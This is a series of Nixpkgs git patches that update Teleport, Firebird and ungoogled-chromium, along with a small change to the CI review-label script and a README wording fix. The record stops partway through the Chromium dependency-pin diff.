   wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;
   buildGoModule = buildGo123Module;

From f1982a4b8c299ddc94879e9c4efe3999b461bb32 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 8 Sep 2025 15:48:50 +0200
Subject: [PATCH 4379/4511] teleport: rename references to rdp library to
 `librdpclient.h`

The file was renamed upstream, so the patch and import have to be
updated respectively.

(cherry picked from commit b2570e4cb3b54f7408bf3898cafedf7d42776966)
---
 pkgs/build-support/teleport/default.nix     | 2 +-
 pkgs/build-support/teleport/rdpclient.patch | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/build-support/teleport/default.nix b/pkgs/build-support/teleport/default.nix
index c44c320addee..afe2af40f91a 100644
--- a/pkgs/build-support/teleport/default.nix
+++ b/pkgs/build-support/teleport/default.nix
@@ -60,7 +60,7 @@ let
 
     postInstall = ''
       mkdir -p $out/include
-      cp ${finalAttrs.buildAndTestSubdir}/librdprs.h $out/include/
+      cp ${finalAttrs.buildAndTestSubdir}/librdpclient.h $out/include/
     '';
   });
 
diff --git a/pkgs/build-support/teleport/rdpclient.patch b/pkgs/build-support/teleport/rdpclient.patch
index 4f35cd184ab5..ad97288acec5 100644
--- a/pkgs/build-support/teleport/rdpclient.patch
+++ b/pkgs/build-support/teleport/rdpclient.patch
@@ -17,6 +17,6 @@ index 4357d7aa1..7e21a0076 100644
 +#cgo LDFLAGS: -L${SRCDIR}/../../../../../lib -lpthread -ldl -lm -lssl -lcrypto
 +#cgo linux LDFLAGS: -l:librdp_client.a
 +#cgo darwin LDFLAGS: -framework CoreFoundation -framework Security -lrdp_client
- #include <librdprs.h>
+ #include <librdpclient.h>
  */
  import "C"

From c5f31425ce237445cb02ad508cafb7e112b37a2c Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 8 Sep 2025 15:49:52 +0200
Subject: [PATCH 4380/4511] teleport_18: 18.1.1 -> 18.2.0

Changelogs: https://github.com/gravitational/teleport/releases/tag/v18.1.2 https://github.com/gravitational/teleport/releases/tag/v18.1.3 https://github.com/gravitational/teleport/releases/tag/v18.1.4 https://github.com/gravitational/teleport/releases/tag/v18.1.5 https://github.com/gravitational/teleport/releases/tag/v18.1.6 https://github.com/gravitational/teleport/releases/tag/v18.1.7 https://github.com/gravitational/teleport/releases/tag/v18.1.8 https://github.com/gravitational/teleport/releases/tag/v18.2.0
Diff: https://github.com/gravitational/teleport/compare/v18.1.1...v18.2.0
(cherry picked from commit 2c32d077913a7b585b08249dec9c4626df9714f1)
---
 pkgs/by-name/te/teleport_18/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teleport_18/package.nix b/pkgs/by-name/te/teleport_18/package.nix
index 72a558a5e20b..f0c459886425 100644
--- a/pkgs/by-name/te/teleport_18/package.nix
+++ b/pkgs/by-name/te/teleport_18/package.nix
@@ -5,10 +5,10 @@
 }:
 
 buildTeleport rec {
-  version = "18.1.1";
-  hash = "sha256-xhf6WwgR3VwjtvFo0/b9A0RcyY7dklPfPUakludUmm8=";
-  vendorHash = "sha256-63pqTI92045/V8Gf+TDKUWLV9eO4hVKOHtgWbYnAf6I=";
-  pnpmHash = "sha256-ZuMMacsyr2rGLVDlaEwA7IbZZfGBuTRBOv4Q6XIjDek=";
+  version = "18.2.0";
+  hash = "sha256-JWgGRv9pK76u7IxwqnBcuAI93XIKfIVvme7l+a/3J7c=";
+  vendorHash = "sha256-oPi/rIuwze2ZlyHfZ2MdDHHvdIaF2IZ2aklEVNRgoLo=";
+  pnpmHash = "sha256-wW4RT1uqOTpy8wKIsAOfIlxoOamTzPqEbFQRAub+sn4=";
   cargoHash = "sha256-ia4We4IfIkqz82aFMVvXdzjDXw0w+OJSPVdutfau6PA=";
 
   wasm-bindgen-cli = wasm-bindgen-cli_0_2_99;

From d32c25ef77ac7269d5e710414da84a6391664012 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 8 Sep 2025 15:52:47 +0200
Subject: [PATCH 4381/4511] teleport_17: 17.7.0 -> 17.7.3

Changelogs: https://github.com/gravitational/teleport/releases/tag/v17.7.1 https://github.com/gravitational/teleport/releases/tag/v17.7.2 https://github.com/gravitational/teleport/releases/tag/v17.7.3
Diff: https://github.com/gravitational/teleport/compare/v17.7.0...v17.7.3
(cherry picked from commit e171fab899c5237118128431aba6a262fe664a96)
---
 pkgs/by-name/te/teleport_17/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/te/teleport_17/package.nix b/pkgs/by-name/te/teleport_17/package.nix
index 7281deb93503..35bd56a07432 100644
--- a/pkgs/by-name/te/teleport_17/package.nix
+++ b/pkgs/by-name/te/teleport_17/package.nix
@@ -1,16 +1,16 @@
 {
   buildTeleport,
-  buildGo123Module,
+  buildGo124Module,
   wasm-bindgen-cli_0_2_95,
 }:
 
 buildTeleport rec {
-  version = "17.7.0";
-  hash = "sha256-+NfYpA6BDpD0/YCMj2y2torgw/ihd279SLTmPySIqvk=";
-  vendorHash = "sha256-NWZKLiub68OR0U3RkCOLCe4vrzXdOCitYm3ITOU3nhk=";
+  version = "17.7.3";
+  hash = "sha256-YSYkJRAeu7iPOs/gFnozZbks0Fx5srNH0VjrKvFmHZo=";
+  vendorHash = "sha256-7Rb94ERtp3H1Jwyh9d7AFT06d4xXdnfe5tpdvJQrbUQ=";
   cargoHash = "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=";
-  pnpmHash = "sha256-I1mQ/F1ethOPA0jlrN+3ClByk7Ifw6LPbgjSvPx44D4=";
+  pnpmHash = "sha256-ZONs8z8mgBBQBmqaDGJKqhmtUKBrxE8BGYppbAqpQmg=";
 
   wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;
-  buildGoModule = buildGo123Module;
+  buildGoModule = buildGo124Module;
 }

From 674734f59768276f827a084b3828140570a8c2cb Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Mon, 8 Sep 2025 15:54:20 +0200
Subject: [PATCH 4382/4511] teleport_16: 16.5.14 -> 16.5.15

Changelog: https://github.com/gravitational/teleport/releases/tag/v16.5.15
Diff: https://github.com/gravitational/teleport/compare/v16.5.14...v16.5.15
(cherry picked from commit 266a75ebbbe336cc4be4f68e06679096795ec272)
---
 pkgs/by-name/te/teleport_16/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/te/teleport_16/package.nix b/pkgs/by-name/te/teleport_16/package.nix
index 2361a28f817b..c8e14a52137b 100644
--- a/pkgs/by-name/te/teleport_16/package.nix
+++ b/pkgs/by-name/te/teleport_16/package.nix
@@ -1,15 +1,15 @@
 {
   buildTeleport,
-  buildGo123Module,
+  buildGo124Module,
   wasm-bindgen-cli_0_2_95,
 }:
 buildTeleport rec {
-  version = "16.5.14";
-  hash = "sha256-24NVmJ97igUs45Ruuj9llRcHVsGMU1dtRm8f4R0pYG4=";
-  vendorHash = "sha256-PDgrfol2zrmS8yzvJQoK486nl+akD9LP4Sh5IVz/jNE=";
-  pnpmHash = "sha256-b6D7i68rX47+thleTeEfW+G72NxuqWNLmNXxJqe8ha8=";
+  version = "16.5.15";
+  hash = "sha256-DqNG6gl+KdjSbkE9Bwum8az8cLCSOmZwo9xpuWafHCA=";
+  vendorHash = "sha256-sZvRKLF2iZ3UpgGNUPuWMT7VTpnDa2uU0d1XjDKSmdo=";
+  pnpmHash = "sha256-8xnH9PkKz77whtq/LVYUjyG1Z1reRtW03Gv8sZ/1vww=";
   cargoHash = "sha256-04zykCcVTptEPGy35MIWG+tROKFzEepLBmn04mSbt7I=";
 
   wasm-bindgen-cli = wasm-bindgen-cli_0_2_95;
-  buildGoModule = buildGo123Module;
+  buildGoModule = buildGo124Module;
 }

From ebe9db6538e05e82b06179500ee757a54eb17b0e Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Mon, 8 Sep 2025 20:29:56 -0600
Subject: [PATCH 4383/4511] ci/github-script/labels: keep "needs reviewer" if
 only automated reviews

(cherry picked from commit 32373aff1cb34410a10e381112d9d9c3fee362e3)
---
 ci/github-script/labels.js | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index d50dab436d8a..467d3b1f0ba7 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -93,6 +93,13 @@ module.exports = async ({ github, context, core, dry }) => {
     log('Last eval run', run_id ?? '<n/a>')
 
     if (conclusion === 'success') {
+      // Check for any human reviews other than GitHub actions and other GitHub apps.
+      // Accounts could be deleted as well, so don't count them.
+      const humanReviews = reviews.filter(
+        (r) =>
+          r.user && !r.user.login.endsWith('[bot]') && r.user.type !== 'Bot',
+      )
+
       Object.assign(prLabels, {
         // We only set this label if the latest eval run was successful, because if it was not, it
         // *could* have requested reviewers. We will let the PR author fix CI first, before "escalating"
@@ -105,7 +112,7 @@ module.exports = async ({ github, context, core, dry }) => {
         '9.needs: reviewer':
           !pull_request.draft &&
           pull_request.requested_reviewers.length === 0 &&
-          reviews.length === 0,
+          humanReviews.length === 0,
       })
     }
 

From 8bb3b72d538728af7f30e63bf34bca7e5fe04de0 Mon Sep 17 00:00:00 2001
From: Ben Siraphob <bensiraphob@gmail.com>
Date: Mon, 1 Sep 2025 17:14:45 -0700
Subject: [PATCH 4384/4511] ci/eval/README.md: adjust wording

(cherry picked from commit 807ce4b7b340eb5bdb9439e1183172a80a208ad1)
---
 ci/eval/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/eval/README.md b/ci/eval/README.md
index 2e7ae0d3876b..d29ff94eb4a3 100644
--- a/ci/eval/README.md
+++ b/ci/eval/README.md
@@ -8,7 +8,7 @@ Furthermore it also allows local evaluation using:
 nix-build ci -A eval.baseline
 ```
 
-The most important two arguments are:
+The two most important arguments are:
 - `--arg evalSystems`: The set of systems for which `nixpkgs` should be evaluated.
   Defaults to the four official platforms (`x86_64-linux`, `aarch64-linux`, `x86_64-darwin` and `aarch64-darwin`).
   Example: `--arg evalSystems '["x86_64-linux" "aarch64-darwin"]'`

From 339d62782656f03e02edbe31d8c4a184e48a442f Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Mon, 8 Sep 2025 23:46:26 +0200
Subject: [PATCH 4385/4511] firebird_3: 3.0.12 -> 3.0.13

(cherry picked from commit 6c9f81f034c330ce89b69eee69bf22fedb5339af)
---
 pkgs/servers/firebird/default.nix | 19 +++++++++++++++----
 1 file changed, 15 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/firebird/default.nix b/pkgs/servers/firebird/default.nix
index 8bf644719896..ba3bc85a6f15 100644
--- a/pkgs/servers/firebird/default.nix
+++ b/pkgs/servers/firebird/default.nix
@@ -2,8 +2,9 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchDebianPatch,
   libedit,
-  autoreconfHook271,
+  autoreconfHook,
   zlib,
   unzip,
   libtommath,
@@ -32,7 +33,7 @@ let
       ];
     };
 
-    nativeBuildInputs = [ autoreconfHook271 ];
+    nativeBuildInputs = [ autoreconfHook ];
 
     buildInputs = [
       libedit
@@ -59,15 +60,25 @@ rec {
   firebird_3 = stdenv.mkDerivation (
     base
     // rec {
-      version = "3.0.12";
+      version = "3.0.13";
 
       src = fetchFromGitHub {
         owner = "FirebirdSQL";
         repo = "firebird";
         rev = "v${version}";
-        hash = "sha256-po8tMrOahfwayVXa7Eadr9+ZEmZizHlCmxi094cOJSY=";
+        hash = "sha256-ti3cFfByM2wxOLkAebwtFe25B5W7jOwi3f7MPYo/yUA=";
       };
 
+      patches = [
+        (fetchDebianPatch {
+          pname = "firebird3.0";
+          version = "3.0.13.ds7";
+          debianRevision = "2";
+          patch = "no-binary-gbaks.patch";
+          hash = "sha256-LXUMM38PBYeLPdgaxLPau4HWB4ItJBBnx7oGwalL6Pg=";
+        })
+      ];
+
       buildInputs = base.buildInputs ++ [
         zlib
         libtommath

From 04a51d30378c35a20fa4adcd8e9a8b862dc6819a Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 9 Sep 2025 12:45:47 +0200
Subject: [PATCH 4386/4511] ungoogled-chromium: 139.0.7258.154-1 ->
 140.0.7339.80-1

https://developer.chrome.com/blog/new-in-chrome-140

https://developer.chrome.com/release-notes/140

https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html

CVEs:
CVE-2025-9864 CVE-2025-9865 CVE-2025-9866 CVE-2025-9867

(cherry picked from commit 00ef480b67e629eff96e30431e3cfbb1bd377891)
---
 .../networking/browsers/chromium/info.json    | 303 +++++++++---------
 1 file changed, 149 insertions(+), 154 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index f25a47dab901..1c1019da04cb 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -798,28 +798,28 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "139.0.7258.154",
+    "version": "140.0.7339.80",
     "deps": {
       "depot_tools": {
-        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
-        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
+        "rev": "7d1e2bdb9168718566caba63a170a67cdab2356b",
+        "hash": "sha256-ZOzKQpo7Z/h1eeWQj20ghDq7pFZ9nch8lt60aoK/g2k="
       },
       "gn": {
-        "version": "0-unstable-2025-06-19",
-        "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
-        "hash": "sha256-gwptzuirIdPAV9XCaAT09aM/fY7d6xgBU7oSu9C4tmE="
+        "version": "0-unstable-2025-07-29",
+        "rev": "3a4f5cea73eca32e9586e8145f97b04cbd4a1aee",
+        "hash": "sha256-Z7bTto8BHnJzjvmKmcVAZ0/BrXimcAETV6YGKNTorQw="
       },
       "ungoogled-patches": {
-        "rev": "139.0.7258.154-1",
-        "hash": "sha256-GGuHEkqcTEvy1m1m8n4hReo8DmLQMDd5J6P1iTnG4Ys="
+        "rev": "140.0.7339.80-1",
+        "hash": "sha256-jBRBph+rhSK6tmrSpCDN39VbSmvHnTquy1HBUQ6QFFY="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "9e0d6b2b47ffb17007b713429c9a302f9e43847f",
-        "hash": "sha256-L3cq3kx7hOv8bzwkQ+nyDM9VDzsvHaRzrSwrqwyCdHA=",
+        "rev": "670b6f192f4668d2ac2c06bd77ec3e4eeda7d648",
+        "hash": "sha256-tAiE11g/zymsOOjb64ZIA0GCGDV+6X5qlXUiU9vED/c=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -829,28 +829,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "2a4f69a118bdc5d03c415de1b9b166b2f1d4084f",
-        "hash": "sha256-RHh2WjV65ROxGPboxztrMUbxzVuPfAkLQkoooEOs7k0="
+        "rev": "dc425afb37a69b60c8c02fef815af29e91b61773",
+        "hash": "sha256-TANkUmIqP+MirWFmegENuJEFK+Ve/o0A0azuxTzeAo8="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "2c359c239b138a20a03f798e47889448ef131c22",
-        "hash": "sha256-WbEMS4wowBw1j7UT/5G5DSmgy5ldmdjxMszYtobr9UI="
+        "rev": "adbb4a5210ae2a8a4e27fa6199221156c02a9b1a",
+        "hash": "sha256-34+xTZqWpm+1aks2b4nPD3WRJTkTxNj6ZjTuMveiQ+M="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "e44c3c4560f1742744ef3f9fb4217a5f26ebca1b",
-        "hash": "sha256-WIJAAHO+n6C5N7nyw8m8xGXr/OXvRGfsScBBdUyjxyg="
+        "rev": "a6c815c69d55ec59d020abde636754d120b402ad",
+        "hash": "sha256-wO64dyP1O3mCBh/iiRkSzaWMkiDkb7B98Avd4SpnY70="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "5bbf35ae6801f579c523893176789774c0726e22",
-        "hash": "sha256-hpOxKXZkZEWNptp31B1DZ8V9E7LsRbbYdPdUD7EYA+8="
+        "rev": "84c5262b57147e9934c0a8f2302d989b44ec7093",
+        "hash": "sha256-GmLreEtoyHMXr6mZgZ7NS1ZaS9leB9eMbISeN7qmfqw="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "79a5aa1b7fcbdf3397bc2a08cbd6ef5c302dfb5a",
-        "hash": "sha256-lddA/+ol5crXlEmRa/JqWvnLTGmyKDUMTlTHC1pFLwc="
+        "rev": "6adc0aa946a413c124758a3a0ac12e5a536c7dd3",
+        "hash": "sha256-C5ZmMzhGdRAd9tpad8hnqM6RoXsunKSuYUoUQdsYclI="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -869,8 +869,8 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "a812d22617824ad2cd291e110378ccec5ae7735f",
-        "hash": "sha256-LNLHuhVKulsp0w+rXNqwC9Kh2QdouUvMX3ZNFJKv6t0="
+        "rev": "a89f6810f6a5b0e11e4ec00387e9f97e8f6c23ae",
+        "hash": "sha256-LH4TlXPBULUamqTDitDEXiB37705BzEAqX1Lan87eoM="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
@@ -879,23 +879,18 @@
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "823662119bac4eb4a2771a1d45a8c00b5c6737ce",
-        "hash": "sha256-YyNQ7RLkNzV2fbjKuwTT3BSL70Qntb2TY633sbKFD/I="
+        "rev": "42832178b3b6ae20f0d1c9634c040c528614f45f",
+        "hash": "sha256-ImjvS826eyo82TIDw6M/7h3lrwbCwxQ+oKJr8RaqDTc="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
         "rev": "1df5e50a45db9518a56ebb42cb020a94a090258b",
         "hash": "sha256-gItDOfNqm1tHlmelz3l2GGdiKi9adu1EpPP6U7+8EQY="
       },
-      "src/third_party/accessibility_test_framework/src": {
-        "url": "https://chromium.googlesource.com/external/github.com/google/Accessibility-Test-Framework-for-Android.git",
-        "rev": "4a764c690353ea136c82f1a696a70bf38d1ef5fe",
-        "hash": "sha256-mzVgoxxBWebesG6okyMxxmO6oH+TITA4o9ucHHMMzkQ="
-      },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "d9fc4a372074b1079c193c422fc4a180e79b6636",
-        "hash": "sha256-owMOjZEXhjXkEwzKdNVUk6Uzqdfp8UQq4JLDSvbvyeA="
+        "rev": "cbc4153da8d5796b0fbb3cf288e97bee19436191",
+        "hash": "sha256-lexJRf3EZexLgSuk8ziA+OUW+jTYlkXUPKHU/E6aUcY="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -909,13 +904,13 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "4c617fa74b67a177c7bde5f48c73f5a5509121ed",
-        "hash": "sha256-fl3yXkdi1KqrrmHB9k+l/eaINuFHgruUL6MB/9QXvhE="
+        "rev": "ad59a18f2ce08e60c9f4ab0aaf9b62679ab8c626",
+        "hash": "sha256-42ShMIXq9CnOlmwXcUvupPpQSNggdlXEkR3mdthsGzg="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
-        "rev": "d708a2602a5947ee068f784daa1594a673d47c4a",
-        "hash": "sha256-GaRtZmYqajLUpt7ToRfMLBlyMiJB5yT9BaaT9pHH7OM="
+        "rev": "50b2ee441f1c3bad73ab7430c41fd1ea5a7a06a6",
+        "hash": "sha256-NiqQy4CEK8qWb2khi4zTSb3fAf3n9LvBsmceSeyQ+Q0="
       },
       "src/third_party/readability/src": {
         "url": "https://chromium.googlesource.com/external/github.com/mozilla/readability.git",
@@ -929,13 +924,13 @@
       },
       "src/third_party/dav1d/libdav1d": {
         "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git",
-        "rev": "63bf075aada99afa112f84c61ddc9cead8ce04d3",
-        "hash": "sha256-TD4RZSNOmlNFJQReViaNxMEgWhdXGccLazBzmd+MNs8="
+        "rev": "716164239ad6e6b11c5dcdaa3fb540309d499833",
+        "hash": "sha256-2J4M6EkfVtPLUpRWwzXdLkvJio4gskC0ihZnM5H3qYc="
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "46b4670bc67cb4f6d34f6ce6a46ba7e1d6059abf",
-        "hash": "sha256-fLyP1ww4gtxOnT7FPWfjYS1+DIex+jfufCz7nZS6L10="
+        "rev": "8550f9c1ff8859d25cc49bdfacef083cff2c5121",
+        "hash": "sha256-gDtFhalOMFWR25XLVbYB/GE1lSQd1ClZ8h175qkC6PU="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -944,8 +939,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "d1d0a31a7a6a039a35d3b8bc9586b23c57bea2a5",
-        "hash": "sha256-DCQVRuAEYOne4x2OJMr62HLx7kyan3Uj6UwXnxuDNpg="
+        "rev": "50764bac3d4048144e9ada5f5a742c82cc97cc9a",
+        "hash": "sha256-rs5cw/kpRq0Bcr2ov5kKsupwqkIQDvuvUMbZbAdOmGI="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -964,13 +959,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
-        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
+        "rev": "5b477670f53e5fefcf4bd829a2952013ef9d1953",
+        "hash": "sha256-os0yeQb6snDvUjYghrIYAy9nUi1j8Y2YoTfsiQ7SlpA="
       },
       "src/third_party/dawn/third_party/webgpu-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
-        "rev": "4f617851dfa20bd240436d9255bcb7e4dbbb1e3f",
-        "hash": "sha256-ugbed1toiw7aY/v9E6akjFGARBe0/mhRZI9MSHG/JnI="
+        "rev": "c8b371dd2ff8a2b028fdc0206af5958521181ba8",
+        "hash": "sha256-rHDN4ln5kTMzabW427Xktl93E+8EVhWa2i8n4Mh2BgQ="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -984,13 +979,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "81be8eb2ca225281bb263ac09ece5370d6462a7d",
-        "hash": "sha256-/GYjjNmbj+bAYy5V15rRkZo54nUx0w0iAujBmTrc1/s="
+        "rev": "0a0009998fa180695f3e2071805dc03c9a5f3124",
+        "hash": "sha256-hYUbfUo00gHqYKac0vOpmBHtb5/FBsgXL+UQtrHxGaM="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "9d1f417714a6883f8d4e345c07802eb79edd2e90",
-        "hash": "sha256-yxeNERobO7TxJWUfppbBTysPMTifC2xzjUrN6Yzud+U="
+        "rev": "ff252ff6faf5e3a52dc4955aab0d84831697dc94",
+        "hash": "sha256-8OfbSe+ly/5FFYk8NubAV39ACMr5S4wbLBVdiQHWeok="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -999,8 +994,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "c4f7831fe85d210ed50572e54d0cb1a26ccc401a",
-        "hash": "sha256-EKObRlHf5Cu7VyntXR2DC62KaBTciAyvSywyAt5gWy8="
+        "rev": "0fd1415f0cf3219ba097d37336141897fab7c5e9",
+        "hash": "sha256-khxdFV6fxbTazz195MlxktLlihXytpNYCykLrI8nftM="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -1024,8 +1019,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "d7427551d6531037da216d20cd36feb19ed4905f",
-        "hash": "sha256-gJgvE3823NyVOIL0Grkldde3U/N9NNqlLAA0btj3TSg="
+        "rev": "33ed0be77d7767d0e2010e2c3cf972ef36c7c307",
+        "hash": "sha256-0rZzbZkOo6DAt1YnH4rtx0FvmCuYH8M6X3DNJ0gURpU="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -1034,23 +1029,28 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "349c5cb547162b967df40a336fc08bb18819a5e1",
-        "hash": "sha256-nSU/Od8TupR6dOVr6XC9btwUkjbQ6m3Oh3tChYo5i4g="
+        "rev": "07b9fafa3fff468afa2960789d2b28444c38db3e",
+        "hash": "sha256-JpimNp8PmsROMiQLy8H39n8l+KDwaivZiIOgSjLF3U4="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "77308ff3c8445656fd104cd80e3bd933b23cb05d",
-        "hash": "sha256-ONQSTRjrleGERU2ioaCKBcpYT1vhad4hYj/x0MIOh1Q="
+        "rev": "69b7e2bb8e1d8d92d4efbb92bcddba3af2716577",
+        "hash": "sha256-1cyXu5fSHWLWt3qdafWQu1WyeZ+fT/be7seiv/MDPdQ="
+      },
+      "src/third_party/crossbench-web-tests": {
+        "url": "https://chromium.googlesource.com/chromium/web-tests.git",
+        "rev": "3c76c8201f0732fe9781742229ab8ac43bf90cbf",
+        "hash": "sha256-yJmi1IpUiKhdoHAXyazkpm+Ezuc4Hp8pOIBntG5hN+U="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
-        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
+        "rev": "7d1e2bdb9168718566caba63a170a67cdab2356b",
+        "hash": "sha256-ZOzKQpo7Z/h1eeWQj20ghDq7pFZ9nch8lt60aoK/g2k="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "bc417052ebef6175721d690a4910e717d92181be",
-        "hash": "sha256-XoI3HbIV52VWbw15Lsk/gwmy09EtenD7iwXVQse5uVs="
+        "rev": "ab96665ae2cfcc054e0243461cfcb56bb016f71a",
+        "hash": "sha256-8G9OCH5xapLf83bXrKwygCrzwF8C9H2NfnIrDbL+uCc="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1064,8 +1064,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "d0b490ee091629068e0c11953419eb089f9e6bb2",
-        "hash": "sha256-EmpuOQxshAFa0d6Ddzz6dy21nxHhSn+6Aiz18/o8VUU="
+        "rev": "81044ec13df7608d0d9d86aff2ef9805fc69bed1",
+        "hash": "sha256-W0uonGzjDaN2RbY2U+Kl1a5/nrEZ9T9W426f+a7NUzY="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -1079,8 +1079,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
-        "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8="
+        "rev": "d2d06b12c22d27af58114e779270521074ff1f85",
+        "hash": "sha256-c5w8CuyE1J0g79lrNq1stdqc1JaAkMbtscdcywmAEMY="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -1094,8 +1094,8 @@
       },
       "src/third_party/fontconfig/src": {
